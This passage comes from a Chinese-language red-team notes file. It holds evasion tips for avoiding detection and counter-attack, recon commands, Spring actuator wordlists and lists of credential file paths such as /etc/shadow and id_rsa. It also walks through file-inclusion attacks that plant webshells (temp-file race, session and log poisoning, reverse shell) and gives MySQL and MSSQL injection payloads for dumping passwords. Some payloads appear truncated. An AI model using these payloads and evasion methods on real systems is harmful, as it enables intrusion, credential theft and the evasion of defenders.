遇到难啃的骨头,可以对报403的目录进行扫描,也许会有不错的收获 507 | 1. bypass参考https://mp.weixin.qq.com/s/_hcVp9u7OIHnYW1l7lQiCQ 508 | 4. 多做漏洞复现,遇到了对应的漏洞就不用去慢慢研究 509 | 5. 在进行有可能导致管理员察觉的敏感操作时(如登录远程桌面等),根据目标所在地区,选择对应IP登录。(大多数会提示异地登录提醒,导致权限丢失) 510 | 6. 红队电脑不能保存任何个人信息,在某些工作系统语言不要使用中文,防止被反制。 511 | 7. 拿到机器及时做权限维持,msf的记得自动迁移进程 512 | 8. 尽量和管理员岔开时间段,不要撞到 513 | 9. 如果可以,一天一靶机,htb就不错 514 | 10. 打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。|r0fus0d 515 | 11. 域名资产收集whois反查+兄弟域名+其他后缀域名+备案反查+rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤 516 | 517 | 518 | 519 | ## 一些信息收集的命令 520 | 521 | #### 互联网c段存活检测 522 | 523 | ```bash 524 | nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt 525 | ``` 526 | 527 | 528 | 529 | #### apk敏感信息收集 530 | 531 | 提取相关域名链接/IP 532 | 533 | ``` 534 | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto 535 | grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto 536 | ``` 537 | 538 | 提取一些敏感信息 539 | 540 | ``` 541 | apktool d app_name.apk 542 | grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/ 543 | ``` 544 | 545 | 提取url 546 | 547 | ``` 548 | grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt 549 | ``` 550 | 551 | 552 | 553 | 554 | 555 | ## mac下反编译apk 556 | 557 | 558 | 559 | 手动敲命令太繁琐了,写个 shell 脚本一键化。 560 | 561 | 在.bash_profile 文件(环境变量)加入这个命令 alias 562 | 563 | apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh", 564 | 565 | 这样当终端打开的时候就可以使用 apkdec 命令了,而脚本 DeApkScript.sh 的内 566 | 567 | 容如下: 568 | 569 | apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd 570 | 571 | $1_dex/ && d2j-dex2jar *.dex 572 | 573 | 功能实现如下: 574 | 575 | • apktool 获取资源文件 576 | 577 | • 将 apk 文件重命名为 zip 文件 578 | 579 | • 解压 zip 文件中的.dex 文件 580 | 581 | • 切换解压目录 582 | 583 | • 将 dex 文件转换成 jar 文件 584 | 585 | 这样,最后只需要使用 JD-GUI 反编译 JAR 即可看见源码了。 586 | 587 | 588 | 589 | ## spring相关程序必扫字典 590 | 591 | 592 | 593 | ``` 594 | /v2/api-docs 595 | /swagger-ui.html 596 | /swagger 597 | /api-docs 598 | /api.html 599 | /swagger-ui 600 | /swagger/codes 601 | /api/index.html 602 | /api/v2/api-docs 603 | /v2/swagger.json 604 | /swagger-ui/html 605 | /distv2/index.html 606 | /swagger/index.html 607 | /sw/swagger-ui.html 608 | /api/swagger-ui.html 609 | /static/swagger.json 610 | /user/swagger-ui.html 611 | /swagger-ui/index.html 612 | /swagger-dubbo/api-docs 613 | /template/swagger-ui.html 614 | /swagger/static/index.html 615 | /dubbo-provider/distv2/index.html 616 | /spring-security-rest/api/swagger-ui.html 617 | /spring-security-oauth-resource/swagger-ui.html 618 | /mappings 619 | /metrics 620 | /beans 621 | /configprops 622 | /actuator/metrics 623 | /actuator/mappings 624 | /actuator/beans 625 | /actuator/configprops 626 | /actuator 627 | /auditevents 628 | /autoconfig 629 | /beans 630 | /caches 631 | /conditions 632 | /configprops 633 | /docs 634 | /dump 635 | /env 636 | /flyway 637 | /health 638 | /heapdump 639 | /httptrace 640 | /info 641 | /intergrationgraph 642 | /jolokia 643 | /logfile 644 | /loggers 645 | /liquibase 646 | /metrics 647 | /mappings 648 | /prometheus 649 | /refresh 650 | /scheduledtasks 651 | /sessions 652 | /shutdown 653 | /trace 654 | /threaddump 655 | /actuator/auditevents 656 | /actuator/beans 657 | /actuator/health 658 | /actuator/conditions 659 | /actuator/configprops 660 | /actuator/env 661 | /actuator/info 662 | /actuator/loggers 663 | /actuator/heapdump 664 | /actuator/threaddump 665 | /actuator/metrics 666 | /actuator/scheduledtasks 667 | /actuator/httptrace 668 | /actuator/mappings 669 | /actuator/jolokia 670 | /actuator/hystrix.stream 671 | 672 | ``` 673 | 674 | 675 | 676 | 677 | 678 | 679 | 680 | # 漏洞攻击 681 | 682 | ## 文件读取漏洞 683 | 684 | 1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作 685 | 686 | 2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件 687 | 688 | 3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell) 689 | 690 | 4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码) 691 | 5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录) 692 | 6、读取程序源代码,方便后面做代码审计,找突破口 693 | 7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息) 694 | 8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。 695 | 696 | 697 | windows常见的敏感文件路径: 698 | 699 | ``` 700 | C:\boot.ini //查看系统版本 701 | C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 702 | C:\Windows\repair\sam //存储系统初次安装的密码 703 | C:\Program Files\mysql\my.ini //Mysql配置 704 | C:\Program Files\mysql\data\mysql\user.MYD //Mysql root 705 | C:\Windows\php.ini //php配置信息 706 | C:\Windows\my.ini //Mysql配置信息 707 | C:\Windows\win.ini //Windows系统的一个基本系统配置文件 708 | ``` 709 | 710 | 711 | Linux常见的敏感文件路径: 712 | 713 | ``` 714 | /root/.ssh/authorized_keys 715 | /root/.ssh/id_rsa 716 | /root/.ssh/id_ras.keystore 717 | /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 718 | /etc/passwd 719 | /etc/shadow 720 | /etc/my.cnf //mysql配置文件 721 | /etc/httpd/conf/httpd.conf //apache配置文件 722 | /root/.bash_history //用户历史命令记录文件 723 | /root/.mysql_history //mysql历史命令记录文件 724 | /proc/mounts //记录系统挂载设备 725 | /porc/config.gz //内核配置文件 726 | /var/lib/mlocate/mlocate.db //全文件路径 727 | /porc/self/cmdline //当前进程的cmdline参数 728 | ``` 729 | 730 | 731 | 732 | 733 | ## 文件包含漏洞 734 | 735 | **一、利用思路总结:** 736 | 737 | **1、包含一些敏感的配置文件,获取目标敏感信息** 738 | 739 | **2、配合图片马getshell** 740 | 741 | **3、包含临时文件getshell** 742 | 743 | **4、包含session文件getshell** 744 | 745 | **5、包含日志文件getshell(Apach、SSH等等)** 746 | 747 | **6、利用php伪协议进行攻击** 748 | 749 | 750 | 751 | **二、具体利用方法:** 752 | 753 | **①包含一些敏感的配置文件** 754 | 755 | windows常见的敏感文件路径: 756 | ``` 757 | C:\boot.ini //查看系统版本 758 | C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 759 | C:\Windows\repair\sam //存储系统初次安装的密码 760 | C:\Program Files\mysql\my.ini //Mysql配置 761 | C:\Program Files\mysql\data\mysql\user.MYD //Mysql root 762 | C:\Windows\php.ini //php配置信息 763 | C:\Windows\my.ini //Mysql配置信息 764 | C:\Windows\win.ini //Windows系统的一个基本系统配置文件 765 | ``` 766 | 767 | Linux常见的敏感文件路径: 768 | ``` 769 | /root/.ssh/authorized_keys 770 | /root/.ssh/id_rsa 771 | /root/.ssh/id_ras.keystore 772 | /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 773 | /etc/passwd 774 | /etc/shadow 775 | /etc/my.cnf //mysql配置文件 776 | /etc/httpd/conf/httpd.conf //apache配置文件 777 | /root/.bash_history //用户历史命令记录文件 778 | /root/.mysql_history //mysql历史命令记录文件 779 | /proc/mounts //记录系统挂载设备 780 | /porc/config.gz //内核配置文件 781 | /var/lib/mlocate/mlocate.db //全文件路径 782 | /porc/self/cmdline //当前进程的cmdline参数 783 | ``` 784 | 785 | 786 | 787 | **绝对路径:** 788 | 789 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibIc2k614Bbn1libAOQhtDRX1R5Zc7npXmyBqjk9jic2TKmju4vAm2rDnA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 790 | 791 | 792 | 793 | **../跨目录读取:** 794 | 795 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibsGB5eqaug8URYTHUngic9iaP7SdqhhT5uwXuq6yYKkdg4oDXXt3OV29A/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 796 | 797 | 798 | 799 | 800 | 801 | **②配合图片马getshell** 802 | 803 | 需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下: 804 | 805 | ``` 806 | ');?> 807 | ``` 808 | 809 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibuHDML0ia1F3icQbDxYftBnOmBIlWbdia1wLAYmp0EPB3rJ0QpxbBjpSAg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 810 | 811 | 812 | 813 | 会在当前目录下生成panda.php,密码为PANDA,连接即可 814 | 815 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibSrDjjOeamDLqUbUq3ILhroYhea8ME4qMLdnb5wMHECNVRdbqqLMsibw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 816 | 817 | 818 | 819 | 820 | 821 | **③包含临时文件+phpinfo getshell** 822 | 823 | 在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。 824 | 825 | 826 | 827 | **利用方法简述:** 828 | 829 | 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。 830 | 831 | 同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。 832 | 833 | 在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。 834 | 835 | 但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。 836 | 837 | 838 | 839 | **这个时候就需要用到条件竞争,具体流程如下:** 840 | 841 | 1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据 842 | 843 | 2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大 844 | 845 | 3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接 846 | 847 | 4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包 848 | 849 | 5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除 850 | 851 | 6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell 852 | 853 | 854 | 855 | **操作过程:** 856 | 857 | **访问存在文件包含漏洞的页面** 858 | 859 | ``` 860 | http://192.168.136.128:8080/lfi.php?file=/etc/passwd 861 | ``` 862 | 863 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibq7iathIdDFVib8elfl2ojziaJqQs9WJ5vA77ZFYwTeRG8icHoibWJjTEK4A/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 864 | 865 | 访问phpinfo页面,需要确实存在 866 | 867 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibCytdyZHhE2TEKyN2yOGXFoBMbsfiajj9tyUFH1LWyXXdOuAQqqZDqag/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 868 | 869 | 870 | 871 | 872 | 873 | 然后利用exp进行利用: 874 | 875 | - 876 | 877 | ``` 878 | python2 exp.py 目标ip 8080 100 879 | ``` 880 | 881 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibWsQwkcBmrnWQFvepzByhAaT1HLzpu7fe9EFYqRywibrwFajA7oBFqiag/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 882 | 883 | 在189次请求时,就写入成功了 884 | 885 | 886 | 887 | 脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上 888 | 889 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibPztrWuAFn0QTx0XIEjFNEZf7ibTd82EiaFxicHGhPQ7uWlXfiaYrKdZfbg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 890 | 891 | 892 | 893 | 然后直接利用蚁剑进行连接即可,密码为1: 894 | 895 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibI5PuvsGpfI0gWTzRHEwoicoU3McPG9cKfjGWic7Yv11Marjjkc6QyUWw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 896 | 897 | 898 | 899 | 900 | 901 | 902 | 903 | 904 | 905 | **④包含session文件getshell** 906 | 907 | session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。 908 | 909 | **利用场景:** 910 | 911 | 一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中 912 | 913 | 利用条件: 914 | 915 | **①session文件路径已知** 916 | 917 | session文件路径位置可以通过phpinfo页面来获取:session.save_path参数 918 | 919 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibbDFhfduBoIT0x0RwbfJ8hp2LTu22NLJLXytRexYHN1PW53P0GctI3Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 920 | 921 | 922 | 923 | 也可以猜测常见的一些session存储位置: 924 | 925 | - 926 | - 927 | 928 | ``` 929 | /var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID] 930 | ``` 931 | 932 | **②且其中部分内容可控制** 933 | 934 | 935 | 936 | **利用方式:** 937 | 938 | 访问漏洞页面,在参数中构造payload 939 | 940 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibhoaENlk0KrwhwvaG7cTLt1dJVdn1VNeaxicxXFNfKBW9zGO1yKtmdpQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 941 | 942 | 然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看 943 | 944 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibWMmvPROVlpTfvta9CRIagezTqpGfsp1lquleeQDWYTAbBpTn4Q8Ctw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 945 | 946 | 947 | 948 | 949 | 950 | 文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell 951 | 952 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibkoKlMTR07PtF77W9kjiaQSqJDbknO7A22JdFC2ibZHxLhUWvEYKJh7IA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 953 | 954 | 955 | 956 | 连接webshell 957 | 958 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibMNiavmdeC22KwC6ZR4kdRndn3dIngpbr6xj45nh541OsLxMiaXy56mSA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 959 | 960 | 961 | 962 | 963 | 964 | **⑤包含日志文件getshell** 965 | 966 | **1.包含Apache日志文件** 967 | 968 | 在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log 969 | 970 | **利用条件:**日志文件的存储路径,并且日志文件可读。 971 | 972 | **①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中** 973 | 974 | **②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log** 975 | 976 | **③也可用通过先包含配置文件来确定日志文件路径** 977 | 978 | - 979 | - 980 | 981 | ``` 982 | index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf 983 | ``` 984 | 985 | 986 | 987 | **利用方式:** 988 | 989 | 因为会自动url编码,会导致无法利用,所以抓包再请求 990 | 991 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibILg71QSriaVicBkWxaev9IpmrlzRyKP0Tz1yToSPDU7WGewq3ib3cYvIQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 992 | 993 | 994 | 995 | 可以看到error.log文件中已经成功写入了payload 996 | 997 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibMkPvIM4j8CsHdWHV7kYSFSXNVbymciaPHKVqibZiaqPicUFhRThfIqybEg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 998 | 999 | 1000 | 1001 | 然后包含log文件路径即可 1002 | 1003 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbib3wPM0ibYiaEx35XrvDlXjbG6rnJKOFeeutXBoapvSFNydYkwnaSAAAvA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1004 | 1005 | 1006 | 1007 | 连接webshell 1008 | 1009 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibMNiavmdeC22KwC6ZR4kdRndn3dIngpbr6xj45nh541OsLxMiaXy56mSA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1010 | 1011 | 1012 | 1013 | **2.包含SSH日志文件** 1014 | 1015 | - 1016 | 1017 | ``` 1018 | ssh ''@192.168.136.143 1019 | ``` 1020 | 1021 | 这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell 1022 | 1023 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibLEl6dAVGe8c6AfyrnevYGZVKkQO8h0H6syPzNG7KMauQrgmRyyTtzw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1024 | 1025 | 1026 | 1027 | 可以看到我们登陆的行为都被记录到了日志当中 1028 | 1029 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibIOibBzIOLll8ooQ5sWeF2fSQ7rtnP6APU09wPibUht1o3ia6E9Peyt6NQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1030 | 1031 | 1032 | 1033 | 可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析 1034 | 1035 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibxS7Brrqa6zc0M4T5jmzq1vEG2Fsiaq2huYwD3QVhD9zWku3rHCSCYcQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1036 | 1037 | 1038 | 1039 | 1040 | 1041 | 通过phpinfo查看到了网站根目录 1042 | 1043 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibQRHNccvl4ODY5iaDEUic4lpyicY7RiaqWycEtEMPYv1NJuoSSBwlOh8Ocw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1044 | 1045 | 1046 | 1047 | 本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路 1048 | 1049 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibIsYlBtsR4lng0YiaeIXYV1z139YrLPsbRs7STvVf25KhuhDWFxAV54Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1050 | 1051 | 1052 | 1053 | 然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell 1054 | 1055 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibuKZsD9bvlceKys2xVDMmEibfzvuicgMEBc0R8bbX9pDu00ia6YsHaUcgA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1056 | 1057 | 1058 | 1059 | 然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行 1060 | 1061 | ![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibPsafM6CeRIB6Aja4KKcXibgwQZtpooic4hQp9UBszS3CiaGfGmPgTV3hA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1062 | 1063 | 1064 | 1065 | 1066 | 1067 | 1068 | 1069 | ## sql注入漏洞 1070 | 1071 | 1072 | 1073 | 手注 1074 | 1075 | https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/ 1076 | 1077 | 1078 | 1079 | 查询用 http://sqlwiki.radare.cn/ 1080 | 1081 | 1082 | 1083 | **mysql数字型手注** 1084 | 1085 | 字符型和数字的注入基本一样(下面直接演示数字型),只是字符的需要闭合前面的一条sql 1086 | 1087 | 常见的闭合就是 1088 | 1089 | ``` 1090 | ' 1091 | 1092 | " 1093 | 1094 | ') 1095 | 1096 | '') 1097 | ``` 1098 | 1099 | 有时还需要注释后面的一些sql 1100 | 1101 | 可以使用 1102 | 1103 | ``` 1104 | --+ 1105 | 1106 | # 在url里面需要编码为 %23 1107 | ``` 1108 | 1109 | 1110 | 1111 | ``` 1112 | 判断字段 1113 | ?id=1 and 1=1 order by 1 1114 | 1115 | 回显点判断 1116 | 1117 | ?id=1 and 1=2 union select 1,2 1118 | 1119 | 当前库 1120 | 1121 | ?id=1 and 1=2 union select 1,database() 1122 | 当前用户 1123 | 1124 | ?id=1 and 1=2 union select 1,user() 1125 | 1126 | 当前版本 1127 | 1128 | ?id=1 and 1=2 union select 1,version() 1129 | 1130 | 爆表 1131 | 1132 | ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 1133 | 1134 | 当前表字段名 1135 | 1136 | 用limit进行查询 1137 | 1138 | ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 1139 | 1140 | 获取数据 1141 | 1142 | ?id=1 and 1=2 union select 1,password from admin limit 0,1 1143 | ``` 1144 | 1145 | 1146 | 1147 | 1148 | 1149 | mysql报错注入 1150 | 1151 | 在不能联合注入的时候就需要用到它 1152 | 1153 | (有十种报错函数,https://www.cnblogs.com/wocalieshenmegui/p/5917967.html) 1154 | 1155 | ``` 1156 | 爆库: 1157 | 1158 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- + 1159 | 1160 | 爆表: 1161 | 1162 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- + 1163 | 1164 | 爆字段: 1165 | 1166 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 1167 | 1168 | 爆数据: 1169 | 1170 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- + 1171 | ``` 1172 | 1173 | 1174 | 1175 | mysql盲注 1176 | 1177 | 1. 时间盲注 1178 | 2. 布尔盲注 1179 | 1180 | 可以用二分,dnslog,等等可以加快注入 1181 | 1182 | 工具 1183 | 1184 | https://github.com/ADOOO/DnslogSqlinj 1185 | 1186 | 1187 | 1188 | 时间盲注也叫延时注入 一般用到函数 `sleep()` `BENCHMARK()` 1189 | 1190 | 一般时间盲注我们还需要使用条件判断函数 1191 | 1192 | `if(expre1,expre2,expre3)` 当expre1为true时,返回expre2,false时,返回expre3 盲注的同时也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等 1193 | 1194 | ``` 1195 | select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1); 1196 | ``` 1197 | 1198 | 们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有 `ascii()` `hex()` 等等 `benchmark()`其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。 1199 | 1200 | ``` 1201 | select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1); 1202 | ``` 1203 | 1204 | 1205 | 1206 | 盲注思路的思路很多 比如正则匹配,比较函数,运算符,推荐大家可以看看 https://www.anquanke.com/post/id/170626 1207 | 1208 | 简单来说就是通过函数看返回true还是false 1209 | 1210 | 1.直接通过字符串截取对比,类似函数很多后面做个总结吧 1211 | 1212 | ``` 1213 | http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- + 1214 | ``` 1215 | 1216 | 1217 | 1218 | 2.用 `IFNULL()` 函数 1219 | 1220 | ``` 1221 | http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + 1222 | ``` 1223 | 1224 | 3.使用 比较函数`strcmp()` 1225 | 1226 | ``` 1227 | 1. 1228 | 1229 | http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + 1230 | http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- + 1231 | 1232 | 1233 | 2. 1234 | 1235 | mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o'); 1236 | Empty set (0.00 sec) 1237 | 1238 | mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o'); 1239 | +----+----------+----------+ 1240 | | id | username | password | 1241 | +----+----------+----------+ 1242 | | 1 | Dumb | Dumb | 1243 | +----+----------+----------+ 1244 | 1 row in set (0.00 sec) 1245 | ``` 1246 | 1247 | 1248 | 1249 | 1250 | 1251 | **mssql手注** 1252 | 1253 | 参考https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI 1254 | 1255 | 查询基本信息 1256 | 1257 | ``` 1258 | and @@version>~1 1259 | 1260 | and (user|1)>-1 1261 | 1262 | and (db_name()|1)>.1 1263 | ``` 1264 | 1265 | 判断当前表名和列名 也可以使用 `having 1=1` 和 `group by` 1266 | 1267 | ``` 1268 | http://192.168.130.137/1.aspx?id=1 having 1=1 1269 | ``` 1270 | **爆出当前表和字段** 1271 | 1272 | [![mysql](img/1.4.6.png)](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/img/1.4.6.png) 1273 | 1274 | 1275 | 1276 | 1277 | 1278 | **爆出所有的字段** 1279 | 1280 | ``` 1281 | http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1 1282 | ``` 1283 | 1284 | [![mysql](img/1.4.7.png)](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/img/1.4.7.png) 1285 | 1286 | 1287 | 1288 | 1289 | 1290 | 1291 | 1292 | ## 文件上传漏洞 1293 | 1294 | 1295 | 1296 | ![image-20201125140003211](img/image-20201125140003211.png) 1297 | 1298 | 1299 | 1300 | 练习环境:https://github.com/c0ny1/upload-labs 